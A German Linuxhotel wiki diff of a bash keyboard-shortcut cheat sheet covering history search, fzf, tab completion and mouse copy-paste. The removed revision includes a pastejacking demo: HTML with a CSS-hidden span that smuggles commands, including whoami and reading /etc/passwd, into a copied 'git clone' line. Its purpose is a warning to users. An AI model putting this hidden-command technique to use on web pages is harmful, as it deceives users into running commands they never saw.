Linuxhotel Wiki

Wie ging das nochmal?

Benutzer-Werkzeuge

Webseiten-Werkzeuge


admin_grundlagen:bash_eingabehilfen

Unterschiede

Hier werden die Unterschiede zwischen zwei Versionen gezeigt.

Link zu der Vergleichsansicht

Beide Seiten, vorherige Überarbeitung Vorherige Überarbeitung
Nächste Überarbeitung
Vorherige Überarbeitung
admin_grundlagen:bash_eingabehilfen [2013/06/18 06:58]
stefan_miethke [History]
admin_grundlagen:bash_eingabehilfen [2024/01/15 15:03] (aktuell)
Zeile 3: Zeile 3:
 ^Tastenkürzel/​Befehl^Funktion^ ^Tastenkürzel/​Befehl^Funktion^
 |↑ (Pfeil nach oben)|letzten Befehl wiederholen| |↑ (Pfeil nach oben)|letzten Befehl wiederholen|
-|history|bisher eingegebene Befehle anzeigen|+|''​history''​|bisher eingegebene Befehle anzeigen
 +|''​history 12''​|:::​| 
 +|''​history | grep //​suchwort//''​|bisher eingegebene befehle nach //​suchwort//​ durchsuchen|
 |''​!85''​|Befehl Nr. 85 erneut ausführen| |''​!85''​|Befehl Nr. 85 erneut ausführen|
-|:::    ​|Tipp (Ubuntu): ''​sudo !!''​|+|''​!!''​|Den letzten Befehl erneut ausführen. ​Tipp (Ubuntu): ''​sudo !!''​|
 |''​Strg''​ + ''​r''​|history durchsuchen| |''​Strg''​ + ''​r''​|history durchsuchen|
 |''​Strg''​ + ''​c''​|abbrechen| |''​Strg''​ + ''​c''​|abbrechen|
-|''​Alt''​ + ''​.''​|letztes Argument wiederholen|+|''​Alt''​ + ''​.''​ oder ''​ESC''​ + ''​.''​|letztes Argument wiederholen|
  
 +(( unscharfe (Fuzzy-String-)Suche für die bash history:
 +  apt install fzf
 +  source /​usr/​share/​doc/​fzf/​examples/​key-bindings.bash
 +''​Strg''​ + ''​r''​ ausprobieren
 +))
 ====== Eingabe vervollständigen ====== ====== Eingabe vervollständigen ======
 ^Tastenkürzel/​Befehl^Funktion^ ^Tastenkürzel/​Befehl^Funktion^
 |''​Tab''​| angefangener Befehl bzw. angefangener Dateiname wird vervollständigt| |''​Tab''​| angefangener Befehl bzw. angefangener Dateiname wird vervollständigt|
 +(( unscharfe (Fuzzy-String-)Suche für die bash tab-completion:​
 +  apt install fzf
 +  source /​usr/​share/​doc/​fzf/​examples/​completion.bash
  
 +  vim /​etc/​**<​TAB>​
 +ausprobieren
 +))
 ====== Kopieren & Einfügen ====== ====== Kopieren & Einfügen ======
-mit der linken Maustaste Text markieren, fügt den Text gleichzeitig in die Text-Zwischenablage ein: +mit der linken Maustaste Text markieren...
- +
-{{:​admin_grundlagen:​markierter-text.png?​nolink&​200|}}+
  
 So markierten Text kann dann mit der mittleren Maustaste (bzw. Mausrad, bzw. linke und rechte Maustaste gleichzeitig) eingefügt werden. So markierten Text kann dann mit der mittleren Maustaste (bzw. Mausrad, bzw. linke und rechte Maustaste gleichzeitig) eingefügt werden.
-(( copy&​paste vom Webbrowser in die Shell kann gefährlich sein: 
-http://​thejh.net/​misc/​website-terminal-copy-paste 
-<code html> 
-<​!DOCTYPE html> 
-<​html>​ 
-  <​head>​ 
-    <​title>​Copy-Paste from Website to Terminal</​title>​ 
-  </​head>​ 
-  <​style>​ 
-    .codeblock { 
-      background-color:​ lightyellow;​ 
-      border: 1px dotted blue; 
-      margin-left:​ 50px; 
-      display: inline-block;​ 
-    } 
-  </​style>​ 
-  <​body>​ 
-    <p> 
-      You surely know this: You're looking at some website with some useful 
-      shell commands. However, those commands are long as hell and you know 
-      you're probably not gonna need them for a few years or so (so there'​s 
-      no need to memorize them). So, what 
-      do you do? You copy-paste them. Here's an example: 
-    </p> 
-    <p class="​codeblock">​ 
-      <!-- Oh noes, you found it! --> 
-      git clone 
-      <span style="​position:​ absolute; left: -100px; top: -100px">/​dev/​null;​ clear; echo -n "Hello ";​whoami|tr -d '​\n';​echo -e '​!\nThat was a bad idea. Don'"'"'​t copy code from websites you don'"'"'​t trust!<​br>​Here'"'"'​s the first line of your /​etc/​passwd:​ ';head -n1 /​etc/​passwd<​br>​git clone </​span>​ 
-      git://​git.kernel.org/​pub/​scm/​utils/​kup/​kup.git 
-    </p> 
-    <p> 
-      Try running this command in your terminal. It's supposed to be harmless, 
-      right? It is harmless, yes, but what happens still isn't what you'd 
-      expect and demonstrates the dangers in doing stuff like that. Mark it 
-      with your mouse, copy it somehow (e.g. using CTRL+C) and paste it into 
-      a terminal. What happens? 
-    </p> 
-  </​body>​ 
-</​html>​ 
  
-</code>+Dieselbe Funktion stellt der Consolen-Maustreiber ''​gpm''​ auf Textconsolen (ttys) zur Verfügung. Einfügen mit rechter Maustaste. Gleiches funktioniert auch unter PuTTY. 
 + 
 +(( copy&​paste vom Webbrowser in die Shell kann gefährlich sein: 
 +http://​thejh.net/​misc/​website-terminal-copy-paste  
 +Lösung: Clipboard-Manager installieren,​ z.B. ''​gnome-shell-extension-gpaste''​
 )) ))
admin_grundlagen/bash_eingabehilfen.1371538731.txt.gz · Zuletzt geändert: 2013/06/18 06:58 von stefan_miethke